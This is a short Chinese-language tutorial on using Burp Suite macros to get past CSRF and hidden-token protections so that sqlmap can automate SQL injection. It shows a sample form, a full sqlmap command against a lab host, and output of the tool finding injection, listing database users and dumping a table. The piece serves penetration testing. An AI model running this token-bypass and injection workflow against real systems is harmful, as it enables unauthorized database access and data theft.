本文讲的是
利用Burp“宏”自动化另类 SQLi,
有许多工具可用于Web应用程序自动化测试。最著名的工具可能是sqlmap。 通过一些简单的命令,Sqlmap就可以轻松地识别和利用SQL注入漏洞。然而,诸如CSRF令牌或一些简单的反自动化技术,例如在表单中包含一个唯一的隐藏字段,就可以防止自动化工具正确工作。 Burp Suite中的宏是绕过这些防护措施以便能够执行自动化测试的好方法,尽管那些防护措施实现起来可能很复杂。
<form method="post" action="./" id="form1"> <div> <input name="txtQuery" type="text" id="txtQuery" style="width:270px;" /> <input type="submit" name="btnSearch" value="Search" id="btnSearch" /> <input type="hidden" name="token" id="token" value="012aedf8-412a-4418-bd76-cf61f13ec22f" /> </div> </form> <span id="lblResultText"></span> <br /> </body> </html>
$ sqlmap -u http://10.99.10.20:8080 --method=POST --data= "__VIEWSTATE=ThFsV9HLtQRaOW3ksjD%2F8jPJ%2BK4oYtIZJ9UZjSdVZecr9MFluyVQIMvZTKyg3Q1eCjcahMgDNYnhBeQIA2FCGq1HaWWj8WE3CPXbXZc5j3I%3D&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=3OHOMEoCmtD5YRvASiOGybpufR%2BFQoZetngO2sq5zb9YFl3HtW%2BBzrISbPZE58dZtG6LsC6qns%2BlotceoeBunvTMcKLH8MIyzmxk3PoHuiWpavLOqJGozuk6py0DvKaWvWHDuFZO1QU2dfG5yPZ29nTLapvb3KcAPWAMDBI25FM%3D&txtQuery=cat&btnSearch=Search&token=77d5a318-c2b0-466d-a4ba-b8c5d155c54f" --proxy=http://127.0.0.1:8080 -p txtQuery
[16:42:45] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://10.99.10.20:8080/error.html?aspxerrorpath=/default.aspx'. Do you want to follow? [Y/n]
[16:45:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [16:45:58] [INFO] testing 'Oracle AND time-based blind' [16:45:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [16:45:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms' [16:46:02] [WARNING] POST parameter 'txtQuery' does not seem to be injectable [16:46:02] [CRITICAL] all tested parameters appear to be not injectable.
[20:38:09] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable [20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' [20:38:19] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' injectable [20:38:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:38:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:38:19] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [20:38:19] [INFO] target URL appears to have 1 column in query [20:38:20] [INFO] POST parameter 'txtQuery' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'txtQuery' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
[20:41:46] [INFO] fetching database users [20:41:46] [WARNING] reflective value(s) found and filtering out [20:41:46] [INFO] the SQL query used returns 2 entries [20:41:46] [INFO] retrieved: animals [20:41:47] [INFO] retrieved: sa database management system users [2]: [*] animals [*] sa <…SNIP…> [20:42:44] [INFO] analyzing table dump for possible password hashes Database: Animals Table: AnimalImages [4 entries] +----+-----------+-------------+ | ID | imageData | description | +----+-----------+-------------+ | 1 | blank | dog | | 2 | blank | cat | | 3 | blank | mouse | | 4 | blank | musk ox | +----+-----------+-------------+
原文发布时间为:2017年3月13日
本文作者:李白
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。